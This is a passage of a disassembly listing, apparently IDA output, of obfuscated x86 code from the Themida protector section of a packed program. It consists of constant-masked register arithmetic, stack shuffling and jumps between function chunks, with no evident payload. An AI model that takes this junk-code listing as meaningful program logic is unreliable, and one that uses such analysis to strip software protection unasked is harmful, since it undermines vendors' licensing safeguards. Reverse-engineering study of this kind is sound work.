sub edx, 26C04351h
add edx, esi
add edx, 26C04351h
pop esi
jmp loc_58B2C7
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D9CA: ; CODE XREF: sub_585452+BFFj
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D9CF: ; CODE XREF: Themida_:0058D36Bj
add edx, 4
jmp loc_588403
; ---------------------------------------------------------------------------
loc_58D9DA: ; CODE XREF: Themida_:0058FC31j
pop esi
add esp, 4
jmp loc_5863B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F728
loc_58D9E6: ; CODE XREF: sub_58F728-8625j
pop ebx
push ebp
mov ebp, 47553D09h
or ebp, 71893BD9h
jmp loc_58B266
; END OF FUNCTION CHUNK FOR sub_58F728
; ---------------------------------------------------------------------------
loc_58D9F8: ; CODE XREF: Themida_:0058A142j
add esi, ebx
sub esi, 1DA6558Ah
sub esi, 5F5C3184h
add esi, 2F1B4C24h
pop ebx
xchg esi, [esp]
mov esp, [esp]
mul cx
push small 3EC6h
mov [esp], dx
push ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DA26: ; CODE XREF: sub_585452+A8ACj
add eax, ebp
pop ebp
jmp loc_58FAE4
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58DA2E proc near ; CODE XREF: sub_585452+A5C3j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00584FDF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005867F5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00586CA1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587E47 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005899BC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589F74 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058B402 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B589 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BC9B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CDF6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FBAD SIZE 00000012 BYTES
sub esp, 2
mov word ptr [esp+4+var_4], cx
jmp loc_586CA1
sub_58DA2E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DA3A: ; CODE XREF: sub_585452+5F80j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58DA3F: ; CODE XREF: sub_585452+1774j
add edx, 4EF31F7Ah
and ecx, edx
jmp loc_584342
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58DA4C: ; CODE XREF: sub_58C230-48Dj
add esi, ebp
jmp loc_5887CC
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58DA53: ; CODE XREF: sub_58AB18-5A28j
xor [esp-4+arg_0], eax
xor eax, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], ebx
push esi
mov esi, 4D5B26F2h
add [esp+arg_0], esi
pop esi
push [esp-4+arg_0]
pop eax
add esp, 4
sub eax, 4D5B26F2h
jmp loc_58FA98
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
push edi
push edx
mov edx, 2D015DA1h
jmp loc_58E045
; ---------------------------------------------------------------------------
loc_58DA8E: ; CODE XREF: Themida_:00588B5Cj
pop esi
push esi
mov esi, 81428Fh
sub edx, esi
pop esi
add edx, esi
add edx, 81428Fh
mov esi, [esp]
jmp loc_58775D
; ---------------------------------------------------------------------------
loc_58DAA8: ; CODE XREF: Themida_:00583F52j
push 462Ah
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_58B4FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58DABD: ; CODE XREF: sub_586A34+5CF2j
mov ebx, 3DF96FE5h
shl ebx, 3
or ebx, 56F619ADh
dec ebx
jmp loc_58D532
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58DAD1: ; CODE XREF: sub_589967+23A7j
sub ebp, 0C36500CBh
sub esi, ebp
pop ebp
neg esi
sub esi, 0CF3832DBh
sub eax, 2BFC0E3Dh
add eax, esi
jmp loc_58EEC5
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DAEE: ; CODE XREF: sub_585452+63B2j
inc edi
jmp loc_58FC00
; ---------------------------------------------------------------------------
loc_58DAF4: ; CODE XREF: sub_585452+1C44j
xor ecx, 468EACC4h
sub edi, ecx
jmp loc_58CBF4
; ---------------------------------------------------------------------------
loc_58DB01: ; CODE XREF: sub_585452+8350j
shr ebp, 5
push esi
mov esi, offset byte_4D68A5
sub ebp, esi
jmp loc_5858E6
; ---------------------------------------------------------------------------
loc_58DB11: ; CODE XREF: sub_585452+A21j
sub ebx, edx
pop edx
add ebx, edi
push eax
push esi
jmp loc_58B694
; ---------------------------------------------------------------------------
loc_58DB1D: ; CODE XREF: sub_585452+6D85j
add dword ptr [ecx], 1
pop ecx
mov ebx, [esp+0]
add esp, 4
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58DB2A proc near ; CODE XREF: sub_585452+319Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edi
push 3FA6h
mov [esp+8+var_8], ebx
xor [esp+8+var_8], 2CD32A94h
pop edi
xor edi, 2CD32A94h
push esi
mov esi, edi
sub esp, 4
mov [esp+0Ch+var_C], esi
push [esp+0Ch+var_C]
pop eax
add esp, 4
jmp loc_585983
sub_58DB2A endp
; ---------------------------------------------------------------------------
loc_58DB5E: ; CODE XREF: Themida_:0058FD7Aj
pop edx
push edx
pop ecx
push dword ptr [esp]
jmp loc_584504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DB69: ; CODE XREF: sub_585452-F97j
shr ebx, 5
jmp loc_5873E5
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58DB71: ; CODE XREF: sub_58EFBD-5B76j
xor eax, edi
pop edi
push eax
xor [esp+8+var_8], 0E5938EDh
pop ebp
xor ebp, 0E5938EDh
jmp loc_5881BC
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58DB88: ; CODE XREF: Themida_:0058770Dj
push ebp
mov ebp, 64062EE7h
sub ebp, 26B815C7h
jmp loc_58488E
; ---------------------------------------------------------------------------
loc_58DB99: ; CODE XREF: Themida_:00583C6Fj
mov edi, [esp]
jmp loc_58DE0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D97C
loc_58DBA1: ; CODE XREF: sub_58D97C+Aj
mov eax, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
not eax
xchg eax, [esp+0]
mov eax, [esp+0]
add esp, 4
push edi
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_584795
; END OF FUNCTION CHUNK FOR sub_58D97C
; ---------------------------------------------------------------------------
loc_58DBC7: ; CODE XREF: Themida_:00589A8Ej
sub edx, 0F24B16E3h
and ecx, edx
jmp loc_585FC1
; ---------------------------------------------------------------------------
loc_58DBD4: ; CODE XREF: Themida_:0058ECDDj
mov ah, dl
mov bh, ah
jmp loc_58E391
; ---------------------------------------------------------------------------
loc_58DBDD: ; CODE XREF: Themida_:0058CE1Bj
mov [esp], esp
jmp loc_5892AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DBE5: ; CODE XREF: sub_585452+1834j
mov [esp+12h+var_14+2], ebp
push esp
pop ebp
add ebp, 4
push esi
mov esi, 4
add ebp, 2A557F80h
sub ebp, esi
jmp loc_585C41
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D97C
loc_58DC03: ; CODE XREF: sub_58D97C-91E2j
push ecx
push edi
mov edi, 31827AF3h
sub [esp+0Ch+var_8], edi
pop edi
pop edi
add edi, 31827AF3h
jmp loc_58A231
; END OF FUNCTION CHUNK FOR sub_58D97C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58DC1B: ; CODE XREF: sub_58FA66-997Bj
xchg eax, [esp-4+arg_0]
jmp loc_58AF03
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DC23: ; CODE XREF: sub_585452+7FA9j
add cl, 29h
add bl, cl
pop ecx
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58DC35: ; CODE XREF: sub_585452+3969j
mov ebx, 57894170h
add ebx, 0A876BE94h
add eax, ebx
jmp loc_58BA0D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58DC47: ; CODE XREF: sub_58EFBD-306Aj
sub eax, 76C11409h
push ebx
push ebp
mov ebp, 43BB711Bh
jmp loc_5874D7
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58DC58: ; CODE XREF: Themida_:00587085j
mov eax, esp
sub esp, 4
mov [esp], ebx
push 0E18h
mov [esp], ecx
mov ecx, 1CC17831h
mov ebx, ecx
jmp loc_5868D6
; ---------------------------------------------------------------------------
loc_58DC74: ; CODE XREF: Themida_:0058A9C1j
push ecx
push esi
loc_58DC76: ; DATA XREF: Themida_:00581041o
push 1D2C79C9h
pop esi
xor esi, 1D2C79CDh
mov ecx, esi
pop esi
add [esp+4], ecx
pop ecx
push dword ptr [esp]
pop ebp
push ebp
mov ebp, esp
jmp loc_5899D5
; ---------------------------------------------------------------------------
lodsw
push small 1559h
mov [esp], cx
push small 474Ch
jmp loc_588AC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DCA9: ; CODE XREF: sub_585452+A735j
sub al, 4Fh
sub al, cl
add al, 4Fh
pop ecx
sub al, dl
add al, 46h
pop edx
sub al, dh
jmp loc_584B86
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58DCBC: ; CODE XREF: sub_58CCD7-837Bj
mov [esp+4+var_4], eax
mov eax, 4
add edx, eax
mov eax, [esp+4+var_4]
add esp, 4
add edx, 4
xchg edx, [esp+0]
pop esp
pop ebx
; END OF FUNCTION CHUNK FOR sub_58CCD7
; =============== S U B R O U T I N E =======================================
sub_58DCD4 proc near ; CODE XREF: sub_585452+578Dj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00587492 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005882DE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E2FA SIZE 00000009 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
sub esp, 4
mov [esp+8+var_8], edx
push ecx
jmp loc_5882DE
sub_58DCD4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_58DCE9: ; CODE XREF: sub_58A170+10j
sub cl, 0D7h
add al, cl
pop ecx
push ebx
mov bl, al
mov ch, bl
pop ebx
pop eax
jmp loc_58B9F6
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
loc_58DCFB: ; CODE XREF: Themida_:00589862j
sub esp, 4
jmp loc_586507
; ---------------------------------------------------------------------------
loc_58DD06: ; CODE XREF: Themida_:0058ECFEj
add edi, 4
xchg edi, [esp]
pop esp
sub ebp, eax
pop eax
sub eax, 21B143BDh
sub eax, ebp
add eax, 21B143BDh
push dword ptr [esp]
mov ebp, [esp]
jmp loc_589662
; ---------------------------------------------------------------------------
loc_58DD2A: ; CODE XREF: Themida_:0058BD62j
push ebp
mov ebp, esp
jmp loc_588D32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DD32: ; CODE XREF: sub_585452-145Cj
sub [edx+30h], edi
mov edi, [esp+0Ch+var_C]
add esp, 4
add dword ptr [edx+30h], 1
xchg ecx, [edx+30h]
inc ecx
xchg ecx, [edx+30h]
xor dword ptr [edx+30h], 34271F77h
sub dword ptr [edx+30h], 3EA21F09h
sub dword ptr [edx+30h], 7B07F20Ch
sub [edx+30h], edi
push [esp+8+var_8]
pop edi
add esp, 4
popa
popf
retn
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_58DD70: ; CODE XREF: sub_5B5756-2E616j
xor ch, 3Eh
add al, ch
pop ecx
pop cx
sub esp, 4
jmp loc_583F57
; END OF FUNCTION CHUNK FOR sub_5B5756
; =============== S U B R O U T I N E =======================================
sub_58DD80 proc near ; CODE XREF: sub_585452+744j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058CEC6 SIZE 00000030 BYTES
push ebx
jmp loc_58CEC6
sub_58DD80 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DD86: ; CODE XREF: sub_585452+60FAj
inc ah
and ah, 98h
jmp sub_58EDD1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58DD90: ; CODE XREF: sub_58EFBD-6A13j
mov ebp, 73C74477h
mov esi, ebp
jmp loc_58F054
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DD9C: ; CODE XREF: sub_585452+7316j
mov esi, 2964EC0h
xor edx, esi
jmp loc_58C022
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58DDA8: ; CODE XREF: Themida_:0058F482j
push 93Ch
mov [esp], esp
push esi
jmp loc_589627
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58DDB6: ; CODE XREF: sub_58999B+6490j
push [esp-0Ch+arg_C]
jmp loc_5872E3
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_58DDBF: ; CODE XREF: Themida_:005877D8j
mov edx, esp
jmp loc_58588A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CF6A
loc_58DDC6: ; CODE XREF: sub_58CF6A+3j
add ebp, 4
push ecx
mov ecx, 1A2D2A85h
not ecx
jmp sub_5886E0
; END OF FUNCTION CHUNK FOR sub_58CF6A
; ---------------------------------------------------------------------------
loc_58DDD9: ; CODE XREF: Themida_:0058F998j
mov ecx, esp
push edx
push ebp
push 0C35216Dh
pop ebp
dec ebp
sub ebp, 0BC0D1E03h
mov edx, ebp
pop ebp
add edx, 7F430C94h
add edx, 3094F007h
add ecx, edx
jmp loc_583EEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DE00: ; CODE XREF: sub_585452+1006j
pop ebx
sub dl, 1
push ebx
jmp loc_5860BC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58DE0A: ; CODE XREF: Themida_:0058DB9Cj
add esp, 4
jmp loc_58E977
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58DE19: ; CODE XREF: Themida_:00583EFBj
add esp, 4
jmp loc_58A497
; ---------------------------------------------------------------------------
loc_58DE21: ; CODE XREF: Themida_:0058BFFFj
mov [esp], edx
push 73B1DC6h
jmp loc_5871F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DE2E: ; CODE XREF: sub_585452+4039j
mov ebp, 64777C36h
jmp loc_58FEFC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58DE38: ; CODE XREF: Themida_:0058AA8Dj
pop ebx
add edx, 3C13EBD1h
sub ebx, 74E30356h
jmp loc_58E4DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58DE4A: ; CODE XREF: sub_58960C+C99j
mov ebp, 520142FFh
sub esi, ebp
pop ebp
add esi, ebp
add esi, 520142FFh
pop ebp
add esi, 4153247Bh
xor esi, 4BA80AE3h
jmp loc_58E9A3
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
lodsd
sub eax, 2A3C3F27h
sub eax, 4C3F3E32h
push 109Ah
jmp loc_58743B
; ---------------------------------------------------------------------------
loc_58DE81: ; CODE XREF: Themida_:0058725Ej
mov ecx, 18F9579Dh
jmp loc_588146
; ---------------------------------------------------------------------------
loc_58DE8B: ; CODE XREF: Themida_:0058FDD7j
mov [esp], edi
mov edi, esp
jmp loc_58D713
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58DE95: ; CODE XREF: sub_589C10+5F98j
sub esi, 0A61C11CAh
sub edx, esi
pop esi
jmp loc_58419B
; END OF FUNCTION CHUNK FOR sub_589C10
; =============== S U B R O U T I N E =======================================
sub_58DEA3 proc near ; CODE XREF: sub_585452+5CFDj
var_4 = byte ptr -4
; FUNCTION CHUNK AT 0058477B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005851C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00586B01 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00586E88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587712 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C36D SIZE 00000017 BYTES
push ebx
mov bl, 0F7h
mov dl, bl
pop ebx
sub dl, 96h
jmp loc_58C36D
sub_58DEA3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58DEB1: ; CODE XREF: Themida_:00587C7Bj
mov edi, 7D1A06E8h
neg edi
shl edi, 4
dec edi
push eax
mov eax, 0AE8D687Fh
push ebp
mov ebp, 3E6A23C5h
add ebp, 3BE8238Bh
sub edi, 8BB3C46h
add edi, ebp
add edi, 8BB3C46h
pop ebp
sub edi, eax
sub edi, 7A524750h
mov eax, [esp]
add esp, 4
add eax, edi
jmp loc_58B8AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586B0E
loc_58DEF5: ; CODE XREF: sub_586B0E+9j
mov edi, 61A32B06h
jmp loc_58AD8B
; END OF FUNCTION CHUNK FOR sub_586B0E
; ---------------------------------------------------------------------------
loc_58DEFF: ; CODE XREF: Themida_:0058793Dj
pop esp
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58DF05: ; CODE XREF: sub_58EFBD-5BFj
add esp, 4
push ebx
jmp loc_58850D
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_5842F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58DF20: ; CODE XREF: sub_58999B+3B25j
xchg edi, [esp+0]
pop esp
jmp loc_58EA40
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DF29: ; CODE XREF: sub_585452+64BBj
add eax, 0AB5EF793h
jmp loc_58BC4E
; ---------------------------------------------------------------------------
loc_58DF33: ; CODE XREF: sub_585452+7528j
sub dh, bh
pop bx
add dh, 39h
mov ch, dh
pop edx
neg ch
neg ch
shr ch, 7
neg ch
xor ch, 0BEh
mov bl, ch
pop ecx
add al, bl
jmp loc_587C80
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58DF53: ; CODE XREF: Themida_:0058CEC1j
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push esi
mov esi, esp
jmp loc_58CB4B
; ---------------------------------------------------------------------------
loc_58DF65: ; CODE XREF: Themida_:0058B6FCj
push ecx
mov ecx, 14A1431Bh
jmp loc_58F0E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_58DF70: ; CODE XREF: sub_58622C+3618j
xor edi, ebp
mov ebp, [esp+4+var_4]
add esp, 4
add edi, 1
push ebx
jmp loc_58CA2C
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_58DF87: ; CODE XREF: sub_58E761-8012j
add esp, 4
jmp loc_58EA9D
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
loc_58DF92: ; CODE XREF: Themida_:00588E51j
push eax
mov al, dl
mov bl, al
pop eax
pop edx
sub al, bl
mov bx, [esp]
push esi
mov esi, esp
jmp loc_58BD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EDD1
loc_58DFA7: ; CODE XREF: sub_58EDD1+C6Dj
xor bl, ch
pop ecx
add bl, 8Ah
jmp loc_58C8AE
; END OF FUNCTION CHUNK FOR sub_58EDD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58DFB2: ; CODE XREF: sub_585452+4F09j
mov esi, 1F1B170Ch
jmp loc_587C26
; ---------------------------------------------------------------------------
loc_58DFBC: ; CODE XREF: sub_585452-131Aj
sub ecx, 38285709h
jmp loc_589F22
; ---------------------------------------------------------------------------
loc_58DFC7: ; CODE XREF: sub_585452+4646j
and ebx, eax
pop eax
push ecx
mov ecx, 332C2AF3h
not ecx
not ecx
sub ecx, 65E02709h
sub ebx, ecx
pop ecx
push ebx
push ebx
mov ebx, 46E87530h
xor [esp-4+arg_4], ebx
mov ebx, [esp-4+arg_0]
jmp loc_58C249
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58DFF0: ; CODE XREF: sub_58EFBD-7D21j
pop esi
mov eax, ebx
pop ebx
jmp loc_58C805
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_58E009: ; CODE XREF: sub_58EA34-4109j
add eax, 4
jmp loc_5896DD
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
loc_58E013: ; CODE XREF: Themida_:00584179j
pop edi
jmp loc_585C85
; ---------------------------------------------------------------------------
loc_58E019: ; CODE XREF: Themida_:0058CD2Bj
push edx
mov edx, 13532E8Bh
jmp loc_5856CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E024: ; CODE XREF: sub_585452+A7A9j
mov esi, [esp-4+arg_0]
add esp, 4
push ebp
mov ebp, esp
jmp loc_58F8E3
; ---------------------------------------------------------------------------
loc_58E035: ; CODE XREF: sub_585452+219Fj
pop eax
push dx
mov dh, 6Fh
sub bh, dh
pop dx
or dh, bh
jmp loc_586668
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E045: ; CODE XREF: Themida_:0058DA89j
mov edi, 2D015DA5h
jmp loc_58990E
; ---------------------------------------------------------------------------
loc_58E04F: ; CODE XREF: Themida_:0058A2BCj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_584784
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E065: ; CODE XREF: sub_585452+82EBj
inc edx
inc edx
jmp loc_58564F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E06C: ; CODE XREF: Themida_:00588F04j
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
jmp loc_583CE4
; ---------------------------------------------------------------------------
loc_58E079: ; CODE XREF: Themida_:005866B2j
mov cl, bl
pop ebx
push 5202h
mov [esp], ebx
mov bh, cl
jmp loc_583EAD
; ---------------------------------------------------------------------------
loc_58E08B: ; CODE XREF: Themida_:00583D50j
push edx
mov edx, 23DA234Dh
and ecx, edx
jmp loc_58700A
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push 5AC8h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_586444
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E0B2: ; CODE XREF: sub_585452+7405j
neg edx
shl edx, 6
jmp loc_58A1AF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E0BC: ; CODE XREF: Themida_:0058918Cj
sub esp, 4
mov [esp], eax
mov ah, 8
mov bl, ah
pop eax
mov dl, bl
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
push edx
jmp loc_588233
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E0D9: ; CODE XREF: sub_585452+2C8j
push 1509h
jmp loc_58C272
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58E0E3: ; CODE XREF: sub_58AB18-2462j
xor edi, 61F2A97h
and edi, 53156C76h
sub esp, 4
mov [esp+0], esi
push 53056742h
jmp loc_5890A7
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E0FF: ; CODE XREF: sub_585452+35Ej
shl eax, 3
jmp loc_58C33F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E107: ; CODE XREF: Themida_:0058B6CDj
pop ebx
add esi, 2
jmp loc_588D47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E113: ; CODE XREF: sub_585452+132j
push ax
mov ah, 0DBh
jmp loc_588279
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E11C: ; CODE XREF: Themida_:005897AAj
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5876F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E12F: ; CODE XREF: sub_585452+9CAj
add ebx, ebp
jmp loc_584B8E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
push 74B0h
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
jmp loc_58C541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58E158: ; CODE XREF: sub_58999B+493Cj
mov ebp, 93B24E0h
sub ebp, 2B81214Ch
push 58C0h
mov [esp+0], ecx
mov ecx, 0C05B9895h
add ebp, 3A979D9h
sub ebp, ecx
sub ebp, 3A979D9h
pop ecx
jmp loc_587E7F
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_58E184: ; CODE XREF: Themida_:0058656Ej
mov eax, 555A1452h
or ebp, eax
pop eax
xor ebp, 58622BB3h
push ebx
mov ebx, 26F338A3h
jmp loc_58B809
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_58E19D: ; CODE XREF: sub_586650+9073j
push esi
push esp
pop esi
jmp loc_58E251
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_58E1A5: ; CODE XREF: sub_589C10+Aj
mov ebx, 6D147089h
jmp loc_58C150
; END OF FUNCTION CHUNK FOR sub_589C10
; =============== S U B R O U T I N E =======================================
sub_58E1AF proc near ; CODE XREF: sub_58F487+11j
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058669E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00589E29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A959 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058E3BA SIZE 0000001A BYTES
push ebp
push 66F21A8Ch
pop ebp
sub edx, ebp
pop ebp
pop edi
jmp loc_58A959
sub_58E1AF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E1BF: ; CODE XREF: sub_585452+B0j
sub eax, 5587385Dh
sub eax, edx
add eax, 5587385Dh
pop edx
jmp loc_589E0A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E1D1: ; CODE XREF: Themida_:0058F681j
add edi, ecx
pop ecx
xchg edi, [esp]
mov esp, [esp]
movzx ax, byte ptr [eax]
push edi
jmp loc_58A6E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E1E4: ; CODE XREF: sub_585452+7D2Dj
push ecx
jmp loc_587A89
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E1EA: ; CODE XREF: Themida_:0058C26Dj
add edi, 4
